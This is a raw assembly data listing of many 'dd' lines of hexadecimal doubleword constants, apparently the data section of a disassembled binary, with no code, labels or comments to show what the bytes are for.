		dd 0FC963D3h, 6D10053h,	0D243CFCh, 0F612EE6Fh, 185D254Bh
		dd 8DAAA240h, 1F9A9D6Eh, 83B87B8Bh, 6CF0B957h, 0A93BCEE8h
		dd 9CBDA304h, 19C3D26Dh, 4CF9C905h, 0E88098D5h,	61AD2EEDh
		dd 3D0046C1h, 0A738D171h, 0FA43CB63h, 30D2306Eh, 0F648CC20h
		dd 9003C100h, 7E2DB466h, 0AC600F0h, 2F9C4D93h, 20090174h
		dd 2AD1FB2h, 4181561Ch,	0BC7C0865h, 22D22A13h, 0D4A06984h
		dd 74AB27E5h, 0CB721B00h, 0A8F8D7C7h, 973005CDh, 1C68D1BEh
		dd 2CBBC7CAh, 59FA90EAh, 8A0122B3h, 1BA7D204h, 3CE041CEh
		dd 57F80067h, 0A8AD9F4Dh, 0AF3EABA3h, 748DCC1Ah, 6A4C1000h
		dd 9858F9E4h, 0BD3700BBh, 1F20BC25h, 3500EC03h,	1E19EA9Bh
		dd 4B34A7h, 2B7137D6h, 0AF21CBE4h, 0B8DB7E0Ch, 7A07C832h
		dd 91E030Ch, 0F143AFAh,	0B1870A7h, 110035FBh, 1A3CF202h
		dd 3CEBE012h, 0F01E31DAh, 8F5201B8h, 0E8F4FE03h, 68001720h
		dd 0CD2942Eh, 4861184h,	2407B343h, 2FE4B057h, 2000B05Bh
		dd 2EC003CEh, 227009Dh,	0AA9C35C7h, 36EC171Ah, 0F72AA200h
		dd 6E7B48Bh, 0BD78ECh, 0EFAA94E9h, 737C0D3h, 0A6D0C300h
		dd 35BAD1F9h, 0CBC20C06h, 0AC20F1A5h, 0FC86E500h, 0F0AD2D70h
		dd 8B2300E6h, 96327A0Fh, 2100ECF8h, 1A9D7EAAh, 56DCC2h
		dd 731BC64Eh, 6A72CB70h, 7F9EC300h, 0A5E73C76h,	43D1000Dh
		dd 1A712532h, 0EA169260h, 0C020840Fh, 74C98A2Eh, 6F7F50h
		dd 593D24D3h, 0AEF15341h, 5E570D2Dh, 274B0034h,	0FC1C7C61h
		dd 1507EA00h, 79C86986h, 8D5F00BEh, 7CADA4DDh, 0D50F830Bh
		dd 0E01C640Eh, 2C77B411h, 71490050h, 0D2991369h, 0E700D8A2h
		dd 557EEA8Dh, 168C90CCh
		dd 0C991B974h, 0A0E0DADCh, 0D3074A46h, 30C6B80h, 0F0D2DD52h
		dd 0BD3200C0h, 948F9F0Dh, 0FF1F76B8h, 4413B66Bh, 2FD6A00h
		dd 90E3057h, 0DD99BD8Eh, 3C601E00h, 740EAF1Eh, 466223h
		dd 3120EC94h, 985303B0h, 2B69F4C3h, 0F1E0BCD8h,	1C5B0C2Eh
		dd 0E600DD90h, 0A766D6E2h, 0F813CC75h, 4400FC55h, 2C23D4A6h
		dd 6815606Bh, 0F7A82D2Fh, 29005B7Fh, 4EF99671h,	580AE513h
		dd 411E88C6h, 9400B963h, 5AF40CC9h, 0AC19F1DFh,	7D702DA8h
		dd 43F874h, 98A0E123h, 517E27Fh, 62FE4E1h, 0BA38600h, 0DD40F08Eh
		dd 0EEEEB8h, 0CDEB3A80h, 51107F6Bh, 6AE00800h, 0E1EF4EECh
		dd 0E9A7959h, 0F9860738h, 60102207h, 0FA9833F8h, 81FDE800h
		dd 0DC31D30Fh, 0ADF7004Ch, 76B7CC79h, 5FEEC3D0h, 6A5D6E01h
		dd 61A158ACh, 36CF0D2h,	0C1E80D54h, 94885E30h, 0A01CAA65h
		dd 0FFDF45C0h, 697DE402h, 1BD06040h, 0A73B01CFh, 849D2FD5h
		dd 0BDA0404Ah, 412D2B4Ch, 47440095h, 1F3BB7E4h,	0C0C36E58h
		dd 0AD333FFAh, 89009856h, 34446BE1h, 3FE4A9A0h,	2E80038Ch
		dd 6062BE3Eh, 3790075Ch, 5090790h, 0C05D8C97h, 388C224h
		dd 8ADCD565h, 72C0BF6Fh, 0BE1FC363h, 0DBDF6489h, 0CB00BE26h
		dd 0A87E3DF8h, 3C9486h,	0AB8C79AEh, 0DF77948Bh,	5F0B62FAh
		dd 0AA4FD2h, 0FDA2808Ch, 0B05959D0h, 40993A1Ch,	5A734A95h
		dd 9400C391h, 0F21479F3h, 0F8A91DD4h, 0B088EAD5h, 1B282803h
		dd 5CAB07E8h, 4797CF4Bh, 0F82E10B2h, 2C7A8EDCh,	39C09300h
		dd 7244FE07h, 81621C13h, 0D0E499h, 0B3A1AB69h, 9145327h
		dd 1DE8F24Bh, 0F013CA22h, 0C2F7BC0Bh, 8FBE8044h, 0C365E2h
		dd 8005635Fh, 9606C6FAh, 1F2A5300h, 0E6D07F84h,	406000D9h
		dd 0F4ECDB0Ch, 60B04DB7h, 0B913700h, 1CA5A102h,	3DAA009Fh
		dd 0C3D80D7Fh, 0BA707DD5h, 0F84C0400h, 0ACB23A85h, 0CBA70099h
		dd 1236C2E4h, 74258456h, 98A46BF0h, 0B3853h, 92B47BDEh
		dd 0EDB96252h, 0FCD659h, 0A8546665h, 0E6F48E09h, 0FB000A9h
		dd 58B33ACh, 0DFCAA07h,	0C034EA00h, 89B49DEh, 952D00DFh
		dd 822E7906h, 3503E60Bh, 0A789FC97h, 0C0AB923Ah, 0F629DE88h
		dd 0A9240F2Eh, 2140C265h, 22D1766Fh, 3EED7200h,	108EFF70h
		dd 0A81C5E75h, 37560F08h, 0CEFEE098h, 12C3749Fh, 0E024AF89h
		dd 38C3FA6Ch, 7D8400Bh,	0B7D69610h, 0B8AAD09Bh,	0C82C9C98h
		dd 80B81820h, 0FC2C5463h, 1C9E99Dh, 68F3E7F4h, 0E94B11FFh
		dd 1F682278h, 0F9BF585Ch, 1DD0C100h, 0C39966F5h, 90F0B23h
		dd 4900E0E5h, 4D483B21h, 0E95B8A00h, 17A18EC6h,	617200C0h
		dd 2273BDD8h, 151CA632h, 0BE809EFBh, 550FCFF1h,	9D090036h
		dd 897F8A4Ch, 0C5057262h, 4AD3414Eh, 0B2B99200h, 0B3490h
		dd 8B319406h, 2289B481h, 3E078E70h, 0AAD79B29h,	0DFC3F127h
		dd 3AFDD00Eh, 517736h, 43423E9h, 6E719448h, 640493F8h
		dd 31D0E07Bh, 2200D8BCh, 23DFCA13h, 59C03589h, 8B289ACDh
		dd 9524003Bh, 3BDC419h,	8D1E942Ah, 1DC0B972h, 6F7A4A65h
		dd 0FBE26D9h, 76460F74h, 0CBA502E0h, 27617313h,	0C3AC3460h
		dd 15E0B075h, 4D461859h, 0A741080Bh, 782C223Eh,	641647ECh
		dd 640F31B0h, 80EF6078h, 78A24679h, 67B3127Dh, 414C47E5h
		dd 382A76B8h, 6A466903h, 1F266898h, 3BEE71h, 8C30A48Bh
		dd 851437C9h, 1488913h,	0D78958Eh, 4C4025ADh, 5246619Dh
		dd 84011432h, 8E3C4B70h, 0C4D4308Bh, 0B7738h, 5965CAD4h
		dd 7FD7E424h, 8685032Dh, 0DC0E21A1h, 29F33B88h,	0FB347000h
		dd 5E569646h, 19080ED1h, 0ED20EA30h, 18650338h,	6D211600h
		dd 0A8879E05h, 86170041h, 30D009B6h, 9C61F91Bh,	9B842078h
		dd 0DA55CCh, 0E3E2B262h, 6857AD91h, 0A862B03h, 80773D1Dh
		dd 28780583h, 0E7E744h,	49DB9B24h, 0D28A6639h, 0D5581200h
		dd 72E53570h, 0A34D00CDh, 0DB252E0Dh, 3E057B77h, 4517FC30h
		dd 0E07E8EC2h, 0C153DFh, 0EA826720h, 3E6E86DEh,	10E531F9h
		dd 5A24EE9Ch, 0CDF8F4Eh, 2833AB0Ch, 4B4CDE10h, 4E23A08h
		dd 35EB049Fh, 9E4A18D0h, 2DEA200Fh, 80A1E73Ch, 0E949B4C8h
		dd 27D2E4h, 2E6E0B8Fh, 25E8EC92h, 9182AE05h, 0C4C0DE06h
		dd 757D35Ah, 51388B72h,	18407942h, 1F008DACh, 21B90D22h
		dd 954D84A0h, 48158020h, 0C9005958h, 6BA117D6h,	2D8935Ch
		dd 9A2C09BFh, 0E0D8708Fh, 794B6000h, 4E7ED06Eh,	51193AAFh
		dd 168B8F00h, 34F012B4h, 0A79D8300h, 81DDC904h,	0A0390055h
		dd 2F3B28B7h, 4900E87Dh, 82664CEh, 0F23CD09Dh, 24821E18h
		dd 94978720h, 129080BFh, 32F4A504h, 91CC6600h, 0CF755BC6h
		dd 55F227CEh, 0BB6B6404h, 0D6E08B02h, 0C3FA8054h, 0BC5166h
		dd 410423CCh, 0DACAC048h, 620F6501h, 9ECF4937h,	2E777DCh
		dd 30035AFFh, 2CC2952Bh, 0E30054F0h, 84BCC846h,	0B84C5AF1h
		dd 5CE20040h, 0BBCED5C9h, 3F75E65Eh, 0F1AAD405h, 0F0401605h
		dd 50302E32h, 792800A1h, 4214A98Ah, 0B4254862h,	0EF44E027h
		dd 0E2E050h, 0A90361Fh,	0FAD8B1B7h, 4F3F5201h, 655A5770h
		dd 7B00EF8h, 82D191F1h,	0A3017940h, 0E553D25Bh,	2B2474B3h
		dd 0FCEA2F79h, 40C4E458h, 963825A0h, 19A280A5h,	1CB1BF21h
		dd 0B5C2009Bh, 0A6429415h, 502F858Ch, 0B8D40079h, 0EDE36D4h
		dd 9337E740h, 0A5B67A00h, 0B1007098h, 0ACE697A0h, 23E52EFh
		dd 9D9CC66Dh, 0D05CA189h, 94233604h, 0D06694C0h, 0B654002Eh
		dd 0C543FC1Fh, 0CB1C87B7h, 6500304Eh, 6228BD45h, 0E2BCB8E8h
		dd 0EEEB0261h, 8392D2C3h, 0B0AA482h, 88909B25h,	0BD5AF8h
		dd 0C547E02Ah, 711E7FAFh, 0C83A881Eh, 9C447DC0h, 2A3EB09h
		dd 640B7C97h, 9A60CEE9h, 14005565h, 0AB1C6EA4h,	0ACD939h
		dd 2AECF8A7h, 4A5B26B2h, 78C5DB31h, 3312E6F2h, 92BBE18h
		dd 0CE9943E1h, 492CBC60h, 0E90C5Ch, 0ECCFDC77h,	0F70151h
		dd 1DCB0A2Eh, 0A80F32B8h, 1C7F283Bh, 0CA007024h, 17E02244h
		dd 5EE8FDB9h, 0A23A09D2h, 38007BE3h, 0E2229564h, 0F40E6305h
		dd 90D09BCAh, 6F8CE9h, 9594C802h, 0E30CDCA7h, 0C4710300h
		dd 0E40D4044h, 0AAC200D3h, 65645ACCh, 450A4B76h, 0EC903910h
		dd 5F93780Fh, 853516C9h, 0AA82F1D3h, 0D80463CDh, 1E0D456Dh
		dd 0C12EBDAFh, 66A5F6EEh, 9C9870DCh, 5B77D800h,	0B9FCCE43h
		dd 8CDF48ADh, 388E0B00h, 0C0EB88A8h, 982DFE00h,	0E2344857h
		dd 2649005Dh, 0ECAC5275h, 0A9004FD3h, 0B68021CBh, 0EB32B8Fh
		dd 0E6178815h, 0E3A1AB80h, 540082D4h, 2D035C63h, 3AD0A03Eh
		dd 2C2CCF8Fh, 0DC9083B8h, 3103B2ADh, 0CF54E0E9h, 75800AAh
		dd 0B7064735h, 4460D264h, 0DFE61178h, 0BF901F6Eh, 44679333h
		dd 0A8CAE0BCh, 77113F50h, 1335BE3Bh, 0D4E1857Ah, 286DFCh
		dd 91A4E3EEh, 0ED680788h, 3C6BA3Ah, 7224D8C7h, 0E28EA07Bh
		dd 0B4F203EAh, 0DF933240h, 800876C8h, 0D785BF00h, 90335BB3h
		dd 6345000Ch, 825355ECh, 0D4E58EABh, 6600B984h,	0EF3CC657h
		dd 13DF810Dh, 0C041A5F1h, 0CFD17A84h, 0FE007C9Eh, 6C4A0ACCh
		dd 88322CF5h, 7F2D0011h, 144004A4h, 5C76CA07h, 0DD2001D9h
		dd 712BBCFh, 8047F848h,	1B956094h, 0F300B126h, 0B7C48A6Ch
		dd 61C040Fh, 343F1E58h,	320010B8h, 0ED6CD9A4h, 749FABh
		dd 61FA9B43h, 319D4671h, 0DF5B9E02h, 49ACA2CFh,	3C7CFB90h
		dd 4BBBAA82h, 8400BCD0h, 8B9F8005h, 1E570E0Ah, 0C1A7A563h
		dd 89AFBDABh
		dd 0A20C6014h, 0A09BB02h, 406D7B4Bh, 17EF2D4h, 1F8B3857h
		dd 3FA56C7Fh, 12A77D00h, 72E6AA0h, 46C078AFh, 9287408Eh
		dd 0CCBE9BFAh, 5BFC2700h, 4B52F5h, 59DCB353h, 2196A580h
		dd 0D0463C35h, 524D9471h, 0F1A0BB40h, 69373FD5h, 1D116F81h
		dd 2C5F85BCh, 9B2D28h, 8B585210h, 15C63C92h, 0D9593302h
		dd 562450h, 7680E6h, 59BF4610h,	0DF244D91h, 0D44D9FEAh
		dd 432A031Ch, 0D071320Ah, 8F8667h, 58F702D3h, 0C2DF0C52h
		dd 0A6F93600h, 84DABAFh, 78ACB0F3h, 0E38A0E90h,	0DF2047FBh
		dd 9137E83Fh, 487CFA00h, 0CAF88680h, 3D3A0BC3h,	0D0808104h
		dd 13830387h, 6D7C2Fh, 0B7E19824h, 20D805F3h, 8084D75Ch
		dd 7283D2A0h, 7C544116h, 0E00D2448h, 1C70B966h,	94D0C64Eh
		dd 83BC0h, 8C2542C4h, 0F98EB15Bh, 3D61EB01h, 0ADD0FB69h
		dd 7E838AECh, 0FE18005Fh, 87854170h, 6209F552h,	4866B4B5h
		dd 94AD6A5Ch, 4FC580BCh, 1FCC4085h, 71322CE8h, 0FCB18E4h
		dd 11396A06h, 47865700h, 79919C70h, 0D8A40E46h,	6AAE6109h
		dd 0B15148ACh, 4E57F25h, 4F406488h, 853FB445h, 0F5B10800h
		dd 24070D8Ah, 4C56016Ah, 54466DB7h, 0A51600A1h,	871325C7h
		dd 30ACDC13h, 3A4D47F9h, 0A7EF109h, 24AC920Bh, 72130A10h
		dd 8DA6021Ch, 0B8C01078h, 8E1C3C51h, 9287808Fh,	0DE608CA7h
		dd 0F03611h, 8791E732h,	0F158C98Eh, 2E3F4100h, 2046FDAAh
		dd 0E3D7006Eh, 3D45476Ch, 56000FADh, 607C7E9Fh,	0C64881h
		dd 4FEC5372h, 95AB4633h, 5830BE00h, 0E543DD44h,	0AECF0E62h
		dd 97E0BF24h, 40D928B0h, 3AB39D3Eh, 3DA8CC89h, 0A7C8082h
		dd 61F54755h, 36AD00A1h, 91578D9Dh, 0A3007DBDh,	0CA6E4D5Ch
		dd 43D7E6h, 7181F129h, 476A65DFh, 4C69282Eh, 1FD3E800h
		dd 0DC4575Eh, 2DACA3EEh, 688221BEh, 10850540h, 0B0B95DF5h
		dd 4E9A44EDh, 0FC8043F8h, 0DE2D4D5Ah, 354B5800h, 2E4F54FAh
		dd 4E553EF9h, 4056F81Ch, 7D96A7ABh, 3C00B46Dh, 9FACE595h
		dd 0B5707Ah, 0CBEB8BA4h, 99984E28h, 0CF861104h,	0E0FDB3A7h
		dd 94283780h, 0BE2C91C0h, 0F501B4E1h, 0DA75E526h, 11F074h
		dd 0A4BB0A33h, 204F7F10h, 6B07AB2Ch, 41B43809h,	0B9E061C4h
		dd 57460098h, 3E1CD8F1h, 7690049Fh, 56EC6500h, 0BDDB5E2Dh
		dd 52720FDFh, 0AE41CAA6h, 8351E2EFh, 3F3DC2A4h,	6385E89Eh
		dd 0C0BCACh, 0EBF610BBh, 7C00980Dh, 0B25F41A7h,	79B591A3h
		dd 7AA800ADh, 8D56C7D5h, 6E05574Ah, 4254E148h, 1B805887h
		dd 5AE5C3h, 10B07231h, 6754797h, 0B50077E6h, 840FC127h
		dd 17B71A8Dh, 439A6E6h,	49A7FEA0h, 0A0804097h, 1EED002Fh
		dd 0CE3E4AE5h, 0BF001D28h, 101FC079h, 31EAFCFBh, 0A826604Fh
		dd 0FEC220D8h, 8FBF4400h, 1703AEFh, 0AE1A006Eh,	57D7A579h
		dd 0CD3AEE06h, 5F31FA0Dh, 2CD678DDh, 2F2EBF10h,	0C0FCFBEAh
		dd 5EF92300h, 0E7091EB9h, 712102D8h, 49D6B8FDh,	0FA00B8D4h
		dd 0DD3A4F56h, 16FE04E8h, 81F91A28h, 5024C3C4h,	71F8EBE4h
		dd 4BCAD8A8h, 87AAC73Fh, 0C8D42875h, 0D1DC7460h, 6CE7000Eh
		dd 0E05B8E3Eh, 9D0022C3h, 4EC96A18h, 3F4F81EFh,	2E185E5Dh
		dd 0AA695932h, 3485A207h, 0FCE0D423h, 4202B7h, 9C4678C0h
		dd 0BCB1397Ah, 36E71102h, 6028B553h, 35C84Ah, 0CE5F7DA5h
		dd 6CE4B63Bh, 0D9F54402h, 5504574Fh, 9DF8A6C3h,	0E9001356h
		dd 0E7382545h, 1EB57695h, 6ED39Ah, 33F10CBCh, 71CFC13h
		dd 0A01D6E8h, 78C79529h, 5265C4h, 0B87EEF9Eh, 0CA6B7A36h
		dd 0D4A33200h, 0AB5059CBh, 0A87127F1h, 242EECE8h, 2DBA5405h
		dd 0DCE42FBFh, 48EF38DEh, 3C6A79Eh, 89FC721Eh, 0F884A98h
		dd 0ACBF7000h, 0AABBF2E5h, 0A0E10081h, 0FB4943A9h, 4E2D749Ah
		dd 78B0429Fh, 4DDD1260h, 1E1CC0C5h, 97709A2Ch, 71E69360h
		dd 0B43CFBh, 7827F321h,	0D3B2A084h, 19FFE74h, 28CD4F5Ch
		dd 0DE21D42Ch, 66A92480h, 0E03148C4h, 7F8009Dh,	89FA1F2Dh
		dd 210030A3h, 6A45FFA9h, 358CC3h, 0A4AF975Ah, 4B2AEBD1h
		dd 600F5707h, 6AD05C69h, 0E604B42Bh, 4CC1009Bh,	0C6C55066h
		dd 9FF796h, 0ABC478C4h,	2CD200F2h, 0C846AD6Ch, 0C30983ECh
		dd 68FBD153h, 12DFC7E8h, 4E96F29h, 801757FEh, 16B69040h
		dd 8AC28B09h, 524040D2h, 0A1680055h, 3382CBBEh,	0FE004116h
		dd 949C2324h, 92F82Eh, 0A4D2F968h, 4222779Dh, 0EFE9E812h
		dd 0BCCC0E0h, 0ADACB686h, 0B3580000h, 0A008C24h, 4443E002h
		dd 3877D7A4h, 91006F3Dh, 0A2B383FDh, 0B004BE3h,	0CFEDEBDCh
		dd 0CA8D50h, 0E0F5DAB2h, 96963F2h, 7DBC4B00h, 7E4EC2D8h
		dd 4FC000EEh, 154DCE77h, 0E30034B2h, 0F80F9E2Eh, 8F08706h
		dd 93855F1Ah, 50B25416h, 1FCFF610h, 7CC0A184h, 41C783BBh
		dd 0ED741D3Ch, 536280C6h, 0BEE47079h, 210087B8h, 32024F7h
		dd 4C9222B3h, 1E00926Eh, 930482C7h, 0BF00EEDEh,	0EF8CD6C8h
		dd 0A95C2F1Ah, 0A2BA4BCh, 80D8771Ch, 21F6DEC8h,	463DF7CEh
		dd 5E8D004Ch, 1D347D04h, 24E30013h, 1B5809BEh, 1C004717h
		dd 55BBD09Ch, 7D860A49h, 0A9430016h, 0E9E212C4h, 0CE00E421h
		dd 5F8723BBh, 6A1BACh, 520E0294h, 0F1B90BBAh, 84263B78h
		dd 0AE047FEEh, 0C8A0C42Ah, 0FED20044h, 3C855650h, 7F1C13A1h
		dd 2B00BE25h, 61AB7012h, 364702C1h, 0AFC4D880h,	3E1E94C9h
		dd 0F811CC40h, 35BEF2h,	2A088751h, 32EFFF18h, 2AA1236Fh
		dd 0EB05A0F4h, 0F1803A04h, 3CFCBC46h, 0B1004AEFh, 7048983Bh
		dd 0D30057C4h, 36C0C8CEh, 588392B5h, 384C4471h,	21AC7B03h
		dd 0DDA85445h, 54EECC9h, 2D873C00h, 0E92449h, 0E1C83520h
		dd 0FF7D5E5Fh, 0D6D4DC00h, 62689FC4h, 624B6EFAh, 0E4A930D8h
		dd 7EF53200h, 46E3C44Ah, 7D083B86h, 745B1400h, 0F707DA93h
		dd 1B663Fh, 2A1C221Dh, 1F047E01h, 9932DEh, 2E9F7483h, 0C75B640h
		dd 3CF32B12h, 4240C21Dh, 0A7E69745h, 7579009Ah,	38878547h
		dd 1E07D87Fh, 866010CAh, 0E8685D83h, 42FFA6h, 0BA584B11h
		dd 4CD065E4h, 188C8A03h, 8F97A5B0h, 509C00EBh, 1F3DF215h
		dd 0F35C211h, 0E433B7D6h, 0E490AB04h, 0E869B201h, 162B73D1h
		dd 1BA9C540h, 5E1700EAh, 7D4EBA96h, 0AD1CFC28h,	4A809CF1h
		dd 0FDC10507h, 7CFF4814h, 0CB387800h, 9D88E3ADh, 72B84F58h
		dd 7729E600h, 0AE6F9580h, 686C0312h, 0DEF29A37h, 0E25522C0h
		dd 0FD1E2B00h, 0D62134EDh, 985202D5h, 6A2784A8h, 0E3186460h
		dd 0B33A8C92h, 60DDAFD2h, 4B65236Ch, 880C7ABAh,	1AD7083Fh
		dd 421F2F9Fh, 0D26A8904h, 8117FCA2h, 61AC88E5h,	74200881h
		dd 51093EE7h, 48D86402h, 0D852DDACh, 4EC01494h,	0A83A662Ch
		dd 3F080D34h, 4BF1E824h, 0C93433EFh, 0A5452026h, 0CD5283Eh
		dd 6068B354h, 0EE0068E2h, 93F026C2h, 0A7A4E8h, 46F5B54Ch
		dd 3BD23378h, 8C05CFF2h, 515BD407h, 9D39A8E3h, 7238B800h
		dd 8001E178h, 2FD0D100h, 0E7970EFEh, 0AC962F8Ch, 6967F820h
		dd 100432Bh, 0A3271E44h, 0CCC3EECh, 41792EA0h, 0C300FF58h
		dd 8596741Dh, 0C37CCEA8h, 352AC118h, 17943C06h,	0C1E484h
		dd 0F0723F89h, 26693062h, 94586A28h, 0A6218EF5h, 5688C047h
		dd 19C0E32h, 7CD80BD7h,	0D84681EAh, 2F0A0934h, 0B88DC2F2h
		dd 0E0549080h, 0B84EC007h, 0A80D1DB1h, 87998FEEh, 0C7D54A23h
		dd 74407DE7h, 68B801F8h, 112AAD30h, 0AD1484Bh, 786DA50Dh
		dd 8E63AE8h
		dd 0E6012131h, 82C8D130h, 65700C56h, 0C00B0C97h, 8E588B68h
		dd 51631600h, 0BF8DE739h, 0EA28825h, 3A4CBB12h,	0E0701803h
		dd 0F6310879h, 6D9C500Ah, 2D0A9468h, 0A08F02B8h, 0A9D3FC02h
		dd 0B7FCE097h, 0DA9A0042h, 0F3AA5A54h, 9803AB2Fh, 1C1983D8h
		dd 0DB7A07Eh, 0B0AD007Ch, 0E223201Fh, 631CF7FDh, 80390895h
		dd 0C4738D69h, 0D3BDFAh, 372DB7A3h, 0AB03123Eh,	9EA2A00h
		dd 72D4E278h, 0AF9200DEh, 0DA5A9483h, 839821ADh, 0FAE3BA03h
		dd 887D0628h, 36C42Fh, 0DDCB77C7h, 63889320h, 7BA9E500h
		dd 0BB26E0FCh, 293D00D0h, 0EFF9EB8Eh, 6F0071E8h, 526D8147h
		dd 7BD3D6h, 1CDBC551h, 0DE2E164h, 1EE72E58h, 1540A6DFh
		dd 58271A21h, 0E0AB5CFFh, 0A17EC501h, 0E772538Dh, 1BE81CE8h
		dd 0D105DC00h, 1A425458h, 0CC910E57h, 9EC02A98h, 808BB4A3h
		dd 95F70118h, 3D526118h, 8D877FB9h, 4CA4770Fh, 5300C110h
		dd 0F929607Ch, 3A22839Ch, 0B0309D49h, 7C5B5F21h, 670624FAh
		dd 992590C3h, 0E6A11818h, 793099C8h, 43EE707h, 0AFB728D9h
		dd 144B2580h, 0C44C3E68h, 98D05286h, 58CE38BFh,	615E83F5h
		dd 9F110083h, 1612C87Ah, 0BD19A966h, 0A6085DFEh, 723E2183h
		dd 80B7C9C8h, 1AB6CCA2h, 7E2E8C0Dh, 509158C2h, 0C87B805Fh
		dd 8C6E1613h, 3A3DAA44h, 55BCC873h, 5F48E280h, 8A2841F6h
		dd 0FA122C0Ah, 7802A0A2h, 8922B11h, 800B119Ch, 296C7C57h
		dd 229D4359h, 5F6300B5h, 0CEA5087Ch, 1500F046h,	2AD57B87h
		dd 0C08DB20Ah, 187EE360h, 9A60221Ah, 0CBF4410h,	0AE4E0379h
		dd 0B3BC6AA5h, 0EAE2A9B8h, 56D31F07h, 0C02F5EFDh, 77B0589Ch
		dd 0E11F85Fh, 0DA109B9Dh, 8EAEC281h, 0B64EC051h, 590D4800h
		dd 11FBCDEFh, 0C7540F7Ch, 2F61DF2Ch, 20C1104Ch,	0E41CB446h
		dd 7207C558h, 5C1246D9h, 0E07241BEh, 7CD45FF0h,	0C10D076Ah
		dd 4026A4ACh, 1E4BDB97h, 0B5291A09h, 0C9790F2Dh, 217D2C05h
		dd 1A161CE8h, 5AE94053h, 0FCF40F03h, 0C81D3E03h, 2BD117h
		dd 1B91ED28h, 4672DAB8h, 78D43430h, 1C2C2173h, 86DC01C1h
		dd 30DB5AA9h, 67117700h, 47BFE01Fh, 10181DC5h, 216B1848h
		dd 67032A9Dh, 0C750E2A5h, 58B862E8h, 980C8CACh,	259C82Bh
		dd 186712C0h, 8EC743E0h, 1B67609Eh, 0C0305B66h,	5C84ACE1h
		dd 23382720h, 0C42D1496h, 0C8AE8894h, 0B51302F1h, 9499BCBDh
		dd 10F2103Eh, 665C001Ah, 7B36A64Fh, 96A0B585h, 29186333h
		dd 0A5B9C995h, 0E3F1099Eh, 4E80CC2Dh, 4044EC38h, 1D055DE6h
		dd 0D67F162Ch, 7BAC4Eh,	0F3DB49Ch, 5C5B19E5h, 92E808E6h
		dd 0F7001021h, 229E68D5h, 807D0092h, 0AF0A714Ah, 0E4515446h
		dd 2A940098h, 0D9604056h, 8E9BE210h, 5A0A0035h,	0A808CB85h
		dd 4C137190h, 0AE00BA7Ch, 0E478D552h, 243B005Ah, 208BB95Eh
		dd 0D703B814h, 0A953B53Fh, 0F94BF083h, 3B3D7124h, 0E0077068h
		dd 7FA3D111h, 0BDD930E1h, 4232609Bh, 11D0FF75h,	20DAF04h
		dd 0FC10974Fh, 1524C10Fh, 50E4AA8h, 13C34098h, 28ECA2A6h
		dd 1FE89902h, 81019715h, 805869D1h, 0F842CDA5h,	4D006CC6h
		dd 3C569D88h, 905734h, 0E7D1E0E6h, 0B32982Fh, 2A3D7BE0h
		dd 607280B4h, 4D04766Eh, 7BF0064h, 1967E996h, 1500DE4Ch
		dd 6A9894B8h, 753BFD48h, 0A8F00075h, 0AF98BB0h,	0E1073847h
		dd 4F25ABE3h, 0F522AC50h, 4B5D008Ch, 9C2A6BB0h,	102E3A0Dh
		dd 89016F5Ch, 0E5C10ACDh, 7368EEE4h, 43AE0EDBh,	0FD006364h
		dd 0C5A9FF29h, 0B7FB1CC0h, 50245E4h, 352D423Ch,	3EDD0B7Dh
		dd 281E99D8h, 4800E868h, 9A0BD3DDh, 4D1300FEh, 0CF9218DAh
		dd 0F8BD8F5Dh, 931700ADh, 13965ACAh, 0FF5C544Eh, 4B68006Fh
		dd 9E0BF9E0h, 63DB0E27h, 0DD4061E2h, 0DC58AE09h, 0E126448h
		dd 0D8A84Ah, 6D1860E9h,	0E8E007Dh, 0AE9C0671h, 0E8C09FA6h
		dd 0ACDE5E93h, 914C0020h, 0CD76DD08h, 472E39CCh, 0BD001AE1h
		dd 453BCB53h, 8D8F00EBh, 0E4314095h, 0D701357Ah, 0B6FF14EFh
		dd 8248E47h, 0D40A54DBh, 2FB730DEh, 0A0106F50h,	94E7C800h
		dd 1E734C24h, 7E8FF0A2h, 7CAE0066h, 7DB21CF3h, 0E800BC54h
		dd 68B01D4Ch, 10FAF24h,	3A9A364Bh, 0CCBBDCF1h, 40929CBEh
		dd 8620E801h, 0B4F5EB9Eh, 0C676C4h, 54CBE29h, 0EA09609Ah
		dd 2A6ACD00h, 87513227h, 0CAA70E1Fh, 0C587EF65h, 846BC029h
		dd 814F955h, 98C668h, 98475A20h, 505C1D1Fh, 180ECCE4h
		dd 20C8B9FFh, 93036B72h, 340C0B27h, 0B8BE9868h,	22333FEBh
		dd 0A50EF83Dh, 51E07BEAh, 0CB8E7970h, 520F3FFCh, 83FCB2CCh
		dd 0E0DD3A68h, 78BD08h,	0EEC759CDh, 0AE831184h,	0A527400h
		dd 60F089E1h, 55DC0034h, 0F430ADEBh, 0F3007137h, 73DBF9B6h
		dd 0A0AC66h, 361F68B3h,	0CB37FCC0h, 38D948h, 3DD3EB94h
		dd 0EC93E741h, 92E2006Fh, 0B6FEC94Ch, 0C70005D2h, 0CD779E30h
		dd 2AF7BE81h, 0ACFCD7h,	0A18920EFh, 0B5B864E8h,	0E22C6D00h
		dd 0FA6AD5ADh, 2577187Eh, 0C5AF2087h, 3C2EFB00h, 0BC227D41h
		dd 74E273h, 6A7A507Ch, 0AD774428h, 2C02D38h, 0A86E2EE8h
		dd 0C9F4818Dh, 70909458h, 2A6D8076h, 7CB3DDh, 42432302h
		dd 882F4450h, 81830B03h, 4CCDF46Eh, 3100DFE0h, 0B2F8BBA8h
		dd 0FA02F72Fh, 9004F388h, 120C4407h, 1CF2B934h,	9BC6C1FCh
		dd 0C0A28C4Eh, 24F513FAh, 68996338h, 8420D403h,	5FC1C0A0h
		dd 12EA003Fh, 19C3029Eh, 97D13FCh, 0BA0013B8h, 0CA90288Bh
		dd 53D392h, 3C9359D5h, 0B90F4D82h, 63E60C00h, 1DD17A5h
		dd 4A760099h, 0CE03BC14h, 0C4003592h, 0C0F1D9D3h, 9313DCh
		dd 0E1447468h, 2F3077ABh, 0E47753E8h, 13C21E58h, 4400CFE7h
		dd 12DC0697h, 0DDA100A9h, 0A2B29802h, 1C075BCAh, 0C3885A9Fh
		dd 0D2C5D90h, 0FC390328h, 0A762AD93h, 86322F80h, 0C44CB17h
		dd 45916E00h, 74028F8h,	0E7363EA5h, 7D6B8021h, 720049CCh
		dd 77A914A8h, 380780h, 250CCE93h, 3791417Fh, 0D1DC030Ah
		dd 2B81B8A6h, 0D9BB2F50h, 4330D0h, 4D8DC769h, 9B34BD5Eh
		dd 20EA0A00h, 0A1B3F1DEh, 0E89407BBh, 0E9CC33B0h, 0BA7B0020h
		dd 7E00C3D7h, 257942C2h, 482D73h, 78203D02h, 715EBDA4h
		dd 0A7563907h, 0A056A2D8h, 7022006Eh, 0B13C2415h, 0BD00C407h
